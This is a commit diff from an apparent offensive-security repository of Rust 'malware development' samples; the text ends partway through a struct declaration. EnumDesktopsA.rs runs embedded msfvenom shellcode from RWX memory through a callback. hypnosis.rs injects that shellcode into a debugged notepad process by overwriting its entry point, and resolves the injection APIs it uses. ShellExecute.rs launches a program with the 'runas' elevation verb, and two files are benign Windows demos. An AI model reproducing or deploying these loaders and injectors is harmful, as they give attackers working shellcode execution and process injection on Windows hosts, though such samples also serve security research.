This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Add files via upload
Abdul Wahab Junaid23bc48141ca9
diff --git a/Rust for Hacking/Process/EnumDesktopsA.rs b/Rust for Hacking/Process/EnumDesktopsA.rsnew file mode 100644index 0000000..2191f55--- /dev/null+++ b/Rust for Hacking/Process/EnumDesktopsA.rs@@ -0,0 +1,52 @@+/*+ Iterates through all desktops associated with the+ calling process's window station.++ For Code : https://github.com/Whitecat18/Rust-for-Malware-Development.git+ by @5mukx+*/++use std::ptr::null_mut;++use winapi::um::{memoryapi::VirtualAlloc, winnt::{RtlMoveMemory, MEM_COMMIT, PAGE_EXECUTE_READWRITE}, winuser::{EnumDesktopsA, GetProcessWindowStation}};+fn main(){++ // calc shellcode generated from msfvenom !+ let shellcode:[u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,+ 0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,+ 0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,+ 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,+ 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,+ 0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,+ 0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,+ 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,+ 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,+ 0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,+ 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,+ 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,+ 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,+ 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,+ 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,+ 0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,+ 0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,+ 0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,+ 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,+ 0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,+ 0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,+ 0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,+ 0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,+ 0x63,0x2e,0x65,0x78,0x65,0x00];+ unsafe{+ let alloc = VirtualAlloc(+ null_mut(),+ shellcode.len(),+ MEM_COMMIT,+ PAGE_EXECUTE_READWRITE+ );++ RtlMoveMemory(alloc, shellcode.as_ptr() as *const _ , shellcode.len());++ EnumDesktopsA(GetProcessWindowStation(), std::mem::transmute(alloc) , 0);+ }+}+diff --git a/Rust for Hacking/Process/ShellExecute.rs b/Rust for Hacking/Process/ShellExecute.rsnew file mode 100644index 0000000..e94cad5--- /dev/null+++ b/Rust for Hacking/Process/ShellExecute.rs@@ -0,0 +1,29 @@+extern crate winapi;++// MSDN For ShellExecute : https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecutea+use winapi::um::{winuser::SW_SHOWNORMAL,+ shellapi::ShellExecuteA};+use std::ptr;+use std::ffi::CString;+use winapi::shared::ntdef::NULL;++fn main() {+ let command = CString::new("calc.exe").unwrap();+ let verb = CString::new("runas").unwrap();++ // For Folder ..+ // let parameters = CString::new("").unwrap();+ // let directory = CString::new("").unwrap();+ let dirc = NULL as _;++ unsafe {+ ShellExecuteA(+ ptr::null_mut(),+ verb.as_ptr(),+ command.as_ptr(),+ dirc,+ dirc,+ SW_SHOWNORMAL,+ );+ }+}diff --git a/Rust for Hacking/Process/cpu_buffer.rs b/Rust for Hacking/Process/cpu_buffer.rsnew file mode 100644index 0000000..aa6a4f3--- /dev/null+++ b/Rust for Hacking/Process/cpu_buffer.rs@@ -0,0 +1,341 @@+/*+ * Increase CPU Usage while using multiple buffers+ * Execute at your own Risk+ * @5mukx+*/++use std::{f32::consts::PI, ptr::null_mut};+use winapi::shared::minwindef::TRUE;+use winapi::{ctypes::c_void,+ shared::{minwindef::{BOOL, FALSE, LPARAM, LPVOID, LRESULT, UINT, WPARAM},+ windef::{HBITMAP, HBRUSH, HDC, HGDIOBJ, HWND}},+ um::{libloaderapi::GetModuleHandleW,+ synchapi::Sleep,+ wingdi::{BitBlt, CreateCompatibleBitmap, CreateCompatibleDC, DeleteDC, DeleteObject, GetObjectW, GetStockObject, SelectObject, BITMAP, BLACK_BRUSH, SRCCOPY},+ winuser::{CreateWindowExW, DefWindowProcW, DispatchMessageW, FillRect, GetDC, GetMessageW, LoadCursorW, LoadIconW, LoadImageW, PeekMessageW, PostQuitMessage, RegisterClassExW, ReleaseDC, SetRect, ShowWindow, UpdateWindow, CW_USEDEFAULT, IDC_ARROW, IDI_APPLICATION, IMAGE_BITMAP, LR_DEFAULTSIZE, LR_LOADFROMFILE, PM_NOREMOVE, SW_SHOW, VK_PAUSE, WM_CREATE, WM_DESTROY, WM_ERASEBKGND, WM_KEYDOWN, WM_KILLFOCUS, WM_NCLBUTTONDOWN, WM_PAINT, WM_SETFOCUS, WNDCLASSEXW, WS_MAXIMIZEBOX, WS_THICKFRAME}+ }+};+use winapi::um::timeapi::timeGetTime;+use winapi::um::winuser::WS_OVERLAPPEDWINDOW;+extern crate winapi;+use winapi::um::winuser::MSG;+use std::os::windows::ffi::OsStrExt;+use winapi::shared::windef::RECT;+const WINDOW_CLASS_NAME: &str = "TESTCLASS";+const WINDOW_TITLE: &str = "GDI Demo by Smukx";+const WINDOW_WIDTH: i32 = 405;+const WINDOW_HEIGHT: i32 = 290;+++struct Backbuffer {+ hwnd: HWND,+ hdc: HDC,+ hdc2: HDC,+ hbmp: HBITMAP,+ hbmp2: HBITMAP,+ hbmp_prev: HBITMAP,+ hbmp_prev2: HBITMAP,+ hbr: HBRUSH,+ cx: i32,+ cy: i32,+}++struct Object {+ hdc: HDC,+ hbmp: HBITMAP,+ hbmp_prev: HBITMAP,+ amplitude: f32,+ frequency: f32,+ offset: f32,+ x: i32,+ y: i32,+ cx: i32,+ cy: i32,+}++static mut G_PAUSE: bool = false;+static mut G_LOST_FOCUS: BOOL = FALSE;+static mut G_RUNNING: BOOL = FALSE;+static mut G_BACKBUFFER: Backbuffer = Backbuffer {+ hwnd: null_mut(),+ hdc: null_mut(),+ hdc2: null_mut(),+ hbmp: null_mut(),+ hbmp2: null_mut(),+ hbmp_prev: null_mut(),+ hbmp_prev2: null_mut(),+ hbr: null_mut(),+ cx: 0,+ cy: 0,+};++static mut G_BACKGROUND: Object = Object {+ hdc: null_mut(),+ hbmp: null_mut(),+ hbmp_prev: null_mut(),+ amplitude: 0.0,+ frequency: 0.0,+ offset: 0.0,+ x: 0,+ y: 0,+ cx: 0,+ cy: 0,+};++fn main(){+ unsafe {+ let h_instance = GetModuleHandleW(null_mut());++ let wc = WNDCLASSEXW {+ cbSize: std::mem::size_of::<WNDCLASSEXW>() as UINT,+ style: 0,+ lpfnWndProc: Some(window_proc),+ cbClsExtra: 0,+ cbWndExtra: 0,+ hInstance: h_instance,+ hIcon: LoadIconW(null_mut(), IDI_APPLICATION),+ hCursor: LoadCursorW(null_mut(), IDC_ARROW),+ hbrBackground: null_mut(),+ lpszMenuName: null_mut(),+ lpszClassName: to_wstring(WINDOW_CLASS_NAME).as_ptr(),+ hIconSm: LoadIconW(null_mut(), IDI_APPLICATION),+ };++ RegisterClassExW(&wc);++ let hwnd = CreateWindowExW(+ 0,+ to_wstring(WINDOW_CLASS_NAME).as_ptr(),+ to_wstring(WINDOW_TITLE).as_ptr(),+ WS_OVERLAPPEDWINDOW & !WS_THICKFRAME & !WS_MAXIMIZEBOX,+ CW_USEDEFAULT,+ CW_USEDEFAULT,+ WINDOW_WIDTH,+ WINDOW_HEIGHT,+ null_mut(),+ null_mut(),+ h_instance,+ null_mut(),+ );++ ShowWindow(hwnd, SW_SHOW);+ UpdateWindow(hwnd);++ run();++ }+}++// extern system into the rod+++extern "system" fn window_proc(hwnd: HWND, u_msg: UINT, w_param: WPARAM, l_param: LPARAM) -> LRESULT {+ unsafe {+ match u_msg {+ WM_CREATE => {+ if !create_backbuffer(hwnd) || !create_objects(hwnd) {+ return -1;+ }+ }+ WM_KEYDOWN => {+ if w_param == VK_PAUSE as WPARAM {+ G_PAUSE = !G_PAUSE;+ if G_PAUSE {+ show();+ }+ }+ }+ WM_PAINT | WM_NCLBUTTONDOWN => show(),+ WM_ERASEBKGND => return 0,+ WM_SETFOCUS => G_LOST_FOCUS = FALSE,+ WM_KILLFOCUS => G_LOST_FOCUS = TRUE,+ WM_DESTROY => {+ destroy_backbuffer();+ destroy_objects();+ PostQuitMessage(0);+ }+ _ => {}+ }+ DefWindowProcW(hwnd, u_msg, w_param, l_param)+ }+}++unsafe fn run() -> i32 {+ let mut msg: MSG = std::mem::zeroed();+ let mut b_move = 1;+ let dw_interval = 15;+ let mut dw_next_time = timeGetTime();++ G_RUNNING = TRUE;++ while G_RUNNING != 0 {+ if G_PAUSE != false || G_LOST_FOCUS != 0 || PeekMessageW(&mut msg, null_mut(), 0, 0, PM_NOREMOVE) != 0 {+ if GetMessageW(&mut msg, null_mut(), 0, 0) > 0 {+ DispatchMessageW(&msg);+ } else {+ break;+ }+ } else {+ if b_move != 0 {+ update();+ render();+ b_move = FALSE;+ }++ let dw_cur_time = timeGetTime();++ if dw_cur_time > dw_next_time {+ show();+ dw_next_time += dw_interval;++ if dw_next_time < dw_cur_time {+ dw_next_time = dw_cur_time + dw_interval;+ }+ b_move = 1; // TRUE+ } else {+ Sleep(dw_next_time - dw_cur_time);+ }+ }+ }++ msg.wParam as i32+}+++unsafe fn create_backbuffer(hwnd: HWND) -> bool {+ let hdc = GetDC(hwnd);+ G_BACKBUFFER.hdc = CreateCompatibleDC(hdc);+ G_BACKBUFFER.hbmp = CreateCompatibleBitmap(hdc, 640, 480);+ G_BACKBUFFER.hdc2 = CreateCompatibleDC(hdc);+ G_BACKBUFFER.hbmp2 = CreateCompatibleBitmap(hdc, 640, 480);++ if G_BACKBUFFER.hbmp.is_null() {+ ReleaseDC(hwnd, hdc);+ return false;+ }++ G_BACKBUFFER.hbmp_prev = SelectObject(G_BACKBUFFER.hdc, G_BACKBUFFER.hbmp as *mut c_void) as HBITMAP;+ G_BACKBUFFER.hbmp_prev2 = SelectObject(G_BACKBUFFER.hdc2, G_BACKBUFFER.hbmp2 as *mut c_void) as HBITMAP;+ ReleaseDC(hwnd, hdc);++ G_BACKBUFFER.hwnd = hwnd;+ G_BACKBUFFER.hbr = GetStockObject(BLACK_BRUSH as i32) as HBRUSH;+ G_BACKBUFFER.cx = 640;+ G_BACKBUFFER.cy = 480;++ true // TRUE+}++unsafe fn destroy_backbuffer() {+ if !G_BACKBUFFER.hdc.is_null() && !G_BACKBUFFER.hdc2.is_null() {+ if !G_BACKBUFFER.hbmp.is_null() && !G_BACKBUFFER.hbmp2.is_null() {+ SelectObject(G_BACKBUFFER.hdc2, G_BACKBUFFER.hbmp_prev2 as *mut c_void);+ DeleteObject(G_BACKBUFFER.hbmp2 as *mut c_void);+ SelectObject(G_BACKBUFFER.hdc, G_BACKBUFFER.hbmp_prev as *mut c_void);+ DeleteObject(G_BACKBUFFER.hbmp as *mut c_void);+ }+ DeleteDC(G_BACKBUFFER.hdc2);+ DeleteDC(G_BACKBUFFER.hdc);+ }+}++unsafe fn create_objects(hwnd: HWND) -> bool {+ let hdc = GetDC(hwnd);+ G_BACKGROUND.hdc = CreateCompatibleDC(hdc);+ G_BACKGROUND.hbmp = LoadImageW(null_mut(), to_wstring("pic.bmp").as_ptr(), IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE | LR_DEFAULTSIZE) as HBITMAP;++ if G_BACKGROUND.hbmp.is_null() {+ ReleaseDC(hwnd, hdc);+ return false;+ }++ G_BACKGROUND.hbmp_prev = SelectObject(G_BACKGROUND.hdc, G_BACKGROUND.hbmp as *mut c_void) as HBITMAP;+ G_BACKGROUND.amplitude = 10.0;+ G_BACKGROUND.frequency = 1.0 * ((2.0 * PI) / 320.0);++ let mut bm: BITMAP = std::mem::zeroed();+ GetObjectW(G_BACKGROUND.hbmp as HGDIOBJ, std::mem::size_of::<BITMAP>() as i32, &mut bm as *mut _ as LPVOID);+ G_BACKGROUND.x = 0;+ G_BACKGROUND.y = 0;+ G_BACKGROUND.cx = bm.bmWidth + 320;+ G_BACKGROUND.cy = bm.bmHeight;++ ReleaseDC(hwnd, hdc);++ true+}++unsafe fn destroy_objects() {+ if !G_BACKGROUND.hdc.is_null() {+ if !G_BACKGROUND.hbmp.is_null() {+ SelectObject(G_BACKGROUND.hdc, G_BACKGROUND.hbmp_prev as *mut c_void);+ DeleteObject(G_BACKGROUND.hbmp as *mut c_void);+ }+ DeleteDC(G_BACKGROUND.hdc);+ }+}++unsafe fn update() {+ distort_bitmap();+}++unsafe fn render() {+ let mut rc: RECT = std::mem::zeroed();+ SetRect(&mut rc, 0, 0, G_BACKBUFFER.cx, G_BACKBUFFER.cy);+ FillRect(G_BACKBUFFER.hdc, &rc, G_BACKBUFFER.hbr);+ FillRect(G_BACKBUFFER.hdc2, &rc, G_BACKBUFFER.hbr);+}++unsafe fn show() {+ let hdc = GetDC(G_BACKBUFFER.hwnd);+ BitBlt(hdc, 0, 0, G_BACKBUFFER.cx, G_BACKBUFFER.cy, G_BACKBUFFER.hdc2, 0, 0, SRCCOPY);+ ReleaseDC(G_BACKBUFFER.hwnd, hdc);+}++unsafe fn distort_bitmap() {+ for i in 0..G_BACKGROUND.cy {+ let stretch_factor = (G_BACKGROUND.amplitude * (G_BACKGROUND.frequency * (i as f32 + G_BACKGROUND.offset)).sin()) as i32;+ BitBlt(+ G_BACKBUFFER.hdc,+ (G_BACKGROUND.frequency.sin() * PI + 80.0) as i32,+ i + stretch_factor + 80,+ 320,+ 2,+ G_BACKGROUND.hdc,+ 0,+ i,+ SRCCOPY,+ );+ G_BACKGROUND.offset += 0.2;+ if G_BACKGROUND.offset >= G_BACKGROUND.cx as f32 {+ G_BACKGROUND.offset = 0.0;+ }+ }++ for i in 0..G_BACKGROUND.cx {+ let stretch_factor = (G_BACKGROUND.amplitude * (G_BACKGROUND.frequency * (i as f32 + G_BACKGROUND.offset)).sin()) as i32;+ BitBlt(+ G_BACKBUFFER.hdc2,+ G_BACKGROUND.x + i + stretch_factor + 80,+ G_BACKGROUND.y + 80,+ 2,+ 255,+ G_BACKBUFFER.hdc,+ i,+ 0,+ SRCCOPY,+ );+ G_BACKGROUND.offset += 0.2;+ if G_BACKGROUND.offset >= G_BACKGROUND.cx as f32 {+ G_BACKGROUND.offset = 0.0;+ }+ }+}++fn to_wstring(str: &str) -> Vec<u16> {+ std::ffi::OsString::from(str)+ .encode_wide()+ .chain(std::iter::once(0))+ .collect()+}+diff --git a/Rust for Hacking/Process/createprocess.rs b/Rust for Hacking/Process/createprocess.rsnew file mode 100644index 0000000..20f2abc--- /dev/null+++ b/Rust for Hacking/Process/createprocess.rs@@ -0,0 +1,71 @@+extern crate winapi;++#[allow(unused_imports)]+use std::{ffi::OsStr, os::windows::ffi::OsStrExt, process::exit, ptr::{self, null_mut}+};+use winapi::{+ shared::minwindef::FALSE,+ um::{+ processthreadsapi::{PROCESS_INFORMATION,STARTUPINFOW,{CreateProcessW,GetProcessId,GetThreadId}},+ winbase::INFINITE,+ // handleapi::CloseHandle,+ synchapi::WaitForSingleObject,+ errhandlingapi::GetLastError,+}};++fn main(){+ let mut path = OsStr::new("C:\\Windows\\System32\\notepad.exe").encode_wide().collect::<Vec<_>>();+ let cmd = path.as_mut_ptr() as *mut u16 ;+ let mut startup: STARTUPINFOW = unsafe{ std::mem::zeroed()};+ let mut process_info: PROCESS_INFORMATION = unsafe{std::mem::zeroed()};++ unsafe{+ /* 0s and 1s BOOL+ BOOL CreateProcessW(+ [in, optional] LPCWSTR lpApplicationName,+ [in, out, optional] LPWSTR lpCommandLine,+ [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,+ [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,+ [in] BOOL bInheritHandles,+ [in] DWORD dwCreationFlags,+ [in, optional] LPVOID lpEnvironment,+ [in, optional] LPCWSTR lpCurrentDirectory,+ [in] LPSTARTUPINFOW lpStartupInfo,+ [out] LPPROCESS_INFORMATION lpProcessInformation+ );+ */++ if CreateProcessW(+ ptr::null(),+ cmd,+ ptr::null_mut(),+ ptr::null_mut(),+ FALSE,+ 0,+ ptr::null_mut(),+ ptr::null(),+ &mut startup,+ &mut process_info,+ ) == 0{+ println!("(-) Failed to create Process, Error: {}",GetLastError());+ exit(1);+ }++ let pid = GetProcessId(process_info.hProcess);+ let tid = GetThreadId(process_info.hThread);++ println!("(+) got handle to process");+ println!("(+) process started! pid: {}",pid);+ println!("\t(+) pid:{} | handle: {:?}",pid,pid);+ println!("\t(+) tid:{} | handle: {:?}",tid,tid);++ WaitForSingleObject(process_info.hProcess, INFINITE);+ println!("(+) Finish Exiting...");++ // In Rust we dont need to free up its allocated memory because when going out of scops rust automatically cleans up the memory due to its ownership and resource management system.+ // If you need so you can clean by yourself !...++ // CloseHandle(process_info.hThread);+ // CloseHandle(process_info.hProcess);+ }+}diff --git a/Rust for Hacking/Process/hypnosis.rs b/Rust for Hacking/Process/hypnosis.rsnew file mode 100644index 0000000..787926a--- /dev/null+++ b/Rust for Hacking/Process/hypnosis.rs@@ -0,0 +1,346 @@+/*+ Process_Hypnosis [Fixed]+ For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ References used:+ https://github.com/CarlosG13/Process-Hypnosis-Debugger-assisted-control-flow-hijack.git+ https://github.com/joaoviictorti/RustRedOps/tree/main/Process_Hypnosis++ @5mukx++*/++use std::{ffi::OsStr, os::windows::ffi::OsStrExt, ptr::null_mut};++use winapi::{+ ctypes::{c_char, c_void},+ um::{debugapi::{ContinueDebugEvent, DebugActiveProcessStop, WaitForDebugEvent},+ errhandlingapi::GetLastError,+ memoryapi::{ReadProcessMemory, WriteProcessMemory},+ minwinbase::{DEBUG_EVENT, EXCEPTION_BREAKPOINT, LOAD_DLL_DEBUG_EVENT},+ processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW}}+};++macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\_____[+] {}", format!($msg, $($arg), *));+ }+}++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\_____[-] {}", format!($msg, $($arg), *));+ println!("Exiting ...");+ return;+ }+}++type BOOL = i32;+type HANDLE = *mut c_void;++fn main(){+ let shellcode: [u8; 276] = [+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,+ ];++ unsafe{+ let mut debug_info: DEBUG_EVENT = std::mem::zeroed();++ let mut startup_info: STARTUPINFOW = std::mem::zeroed();+ startup_info.cb = std::mem::size_of::<STARTUPINFOW>() as u32;++ let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();++ let path_name: Vec<u16> = OsStr::new("C:\\Windows\\System32\\notepad.exe")+ .encode_wide()+ .chain(std::iter::once(0))+ .collect();++ let create_process = CreateProcessW(+ null_mut(),+ path_name.as_ptr() as *mut u16,+ null_mut(),+ null_mut(),+ 0,+ winapi::um::winbase::DEBUG_ONLY_THIS_PROCESS,+ null_mut(),+ null_mut(),+ &mut startup_info,+ &mut process_info,+ );++ if create_process == 0{+ println!("Break 1");+ error!("CreateProcessW Failed: {}", GetLastError());+ }++ for num in 0..7 {+ if WaitForDebugEvent(&mut debug_info, 0xFFFFFFFF) != 0 {++ match debug_info.dwDebugEventCode {+ 3 => { // CREATE_PROCESS_DEBUG_EVENT+ okey!("Process PID: {}", debug_info.dwProcessId);+ okey!("Thread ID: {}", debug_info.dwThreadId);+ okey!("StartAddress: {:?}", debug_info.u.CreateProcessInfo().lpStartAddress.unwrap());+ okey!("Main Thread: {:?}", debug_info.u.CreateProcessInfo().hThread);+ },++ 2 => { // CREATE_THREAD_DEBUG_EVENT+ println!();+ okey!("Thread Created: {:?}", debug_info.u.CreateThread().lpStartAddress);+ okey!("Thread Handle: {:?}", debug_info.u.CreateThread().hThread);+ okey!("Thread ThreadLocalBase: {:?}", debug_info.u.CreateThread().lpThreadLocalBase);+ },++ LOAD_DLL_DEBUG_EVENT => { // LOAD_DLL_DEBUG_EVENT+ let mut buffer = [0u8; std::mem::size_of::<*mut c_void>()];+ let mut return_number = 0;++ let success = ReadProcessMemory(+ process_info.hProcess,+ debug_info.u.LoadDll().lpImageName as *mut c_void,+ buffer.as_mut_ptr() as *mut c_void,+ std::mem::size_of::<*mut c_void>(),+ &mut return_number,+ );++ if success == 0 {+ error!("ReadProcessMemory(1) Failed: {}", GetLastError());+ }++ let dll_address = usize::from_ne_bytes(buffer) as *mut c_void;+ let mut image_name = vec![0u16; 260];++ okey!("DLL ADDRESS: {:?}", dll_address);++ let success = ReadProcessMemory(+ process_info.hProcess,+ dll_address,+ image_name.as_mut_ptr() as _,+ image_name.len() * std::mem::size_of::<u16>(),+ &mut return_number,+ );++ if success == 0 {+ error!("ReadProcessMemory(2) Failed: {}", GetLastError());+ }++ if let Some(first_null) = image_name.iter().position(|&c| c == 0) {+ image_name.truncate(first_null);+ }++ let dll_name = String::from_utf16_lossy(&image_name);+ okey!("DLL Name: {}", dll_name.trim_end_matches('\0'));+ okey!("DLL Base Address: {:?}", debug_info.u.LoadDll().lpBaseOfDll);+ okey!("DLL H_File: {:?}", debug_info.u.LoadDll().hFile);+ },++ 1 => { //EXCEPTION_DEBUG_EVENT+ if debug_info.u.Exception().ExceptionRecord.ExceptionCode == EXCEPTION_BREAKPOINT {+ okey!("BreakPoint Successfully Triggered {}", '!');+ }+ },++ _ => {}+ }++ if num == 6 {+ let mut number_of_write = 0;+ let success = WriteProcessMemory(+ process_info.hProcess,+ std::mem::transmute::<_, *mut c_void>(debug_info.u.CreateProcessInfo().lpStartAddress),+ shellcode.as_ptr() as _,+ shellcode.len(),+ &mut number_of_write,+ );++ if success == 0 {+ error!("WriteProcessMemory Failed: {}", GetLastError());+ }++ let active_proc = DebugActiveProcessStop(process_info.dwProcessId);++ if active_proc == 0 {+ error!("DebugActiveProcessStop Failed: {}", GetLastError());+ }+ }++ if num < 6 {+ let dbg_continue = ContinueDebugEvent(+ process_info.dwProcessId,+ process_info.dwThreadId,+ 0x00010002, // DBG_CONTINUE+ );++ if dbg_continue == 0 {+ error!("ContinueDebugEvent Failed: {}", GetLastError());+ }+ }+ }+ }++ let sym_success = SymInitialize(+ 0xFFFFFFFFFFFFFFFFu64 as *mut c_void,+ null_mut(),+ 1+ );++ if sym_success == 0 {+ error!("SymInitialize Error: {}", GetLastError());+ }++ let mut symbol: SYMBOL_INFO = std::mem::zeroed();+ symbol.SizeOfStruct = std::mem::size_of::<SYMBOL_INFO>() as u32;++ let virtual_alloc_addr: Vec<_> = "VirtualAllocEx".encode_utf16().collect();+ let success = SymFromName(+ 0xffffffffffffffffu64 as _,+ virtual_alloc_addr.as_ptr(),+ &mut symbol+ );++ if success == 0 {+ error!("SymFromName Failed: {:?}", GetLastError());+ }++ okey!("Example Addr of VirtualAllocEx: {:?}", symbol.Address as *mut c_void);++ let create_remote_thread: Vec<_> = "CreateRemoteThread".encode_utf16().collect();+ let success = SymFromName(+ 0xffffffffffffffffu64 as _,+ create_remote_thread.as_ptr(),+ &mut symbol+ );++ if success == 0 {+ error!("SymFromName Failed: {:?}", GetLastError());+ }++ okey!("Example Addr of CreateRemoteThread: {:?}", symbol.Address as *mut c_void);++ let nt_protect_memory: Vec<_> = "NtProtectVirtualMemory".encode_utf16().collect();+ let success = SymFromName(+ 0xffffffffffffffffu64 as _,+ // s!("NtProtectVirtualMemory"),+ nt_protect_memory.as_ptr(),+ &mut symbol+ );++ if success == 0 {+ error!("SymFromName Failed: {:?}", GetLastError());+ }++ okey!("Example Addr of NtProtectVirtualMemory: {:?}", symbol.Address as *mut c_void);+ }+}++#[link(name = "Dbghelp")]+#[allow(non_snake_case)]+extern "system" {+ pub fn SymInitialize(+ hProcess: HANDLE,+ UserSearchPath: *const c_char,+ fInvadeProcess: BOOL,+ ) -> BOOL;+}++extern "system" {+ pub fn SymFromName(+ hprocess: HANDLE,+ name: *const u16,+ symbol: *mut SYMBOL_INFO+ ) -> BOOL;+}++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct SYMBOL_INFO_FLAGS(pub u32);++#[allow(non_snake_case,non_camel_case_types)]+#[repr(C)]+pub struct SYMBOL_INFO {+ pub SizeOfStruct: u32,+ pub TypeIndex: u32,+ pub Reserved: [u64; 2],+ pub Index: u32,+ pub Size: u32,+ pub ModBase: u64,+ pub Flags: SYMBOL_INFO_FLAGS,+ pub Value: u64,+ pub Address: u64,+ pub Register: u32,+ pub Scope: u32,+ pub Tag: u32,+ pub NameLen: u32,+ pub MaxNameLen: u32,+ pub Name: [i8; 1],+}++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct HANDLE_FLAGS(pub u32);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct MEMORY_INFORMATION_CLASS(pub u32);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct PVOID(pub *mut c_void);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct PSIZE_T(pub *mut usize);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct PROCESSINFOCLASS(pub u32);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct SECTION_INHERIT(pub u32);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct 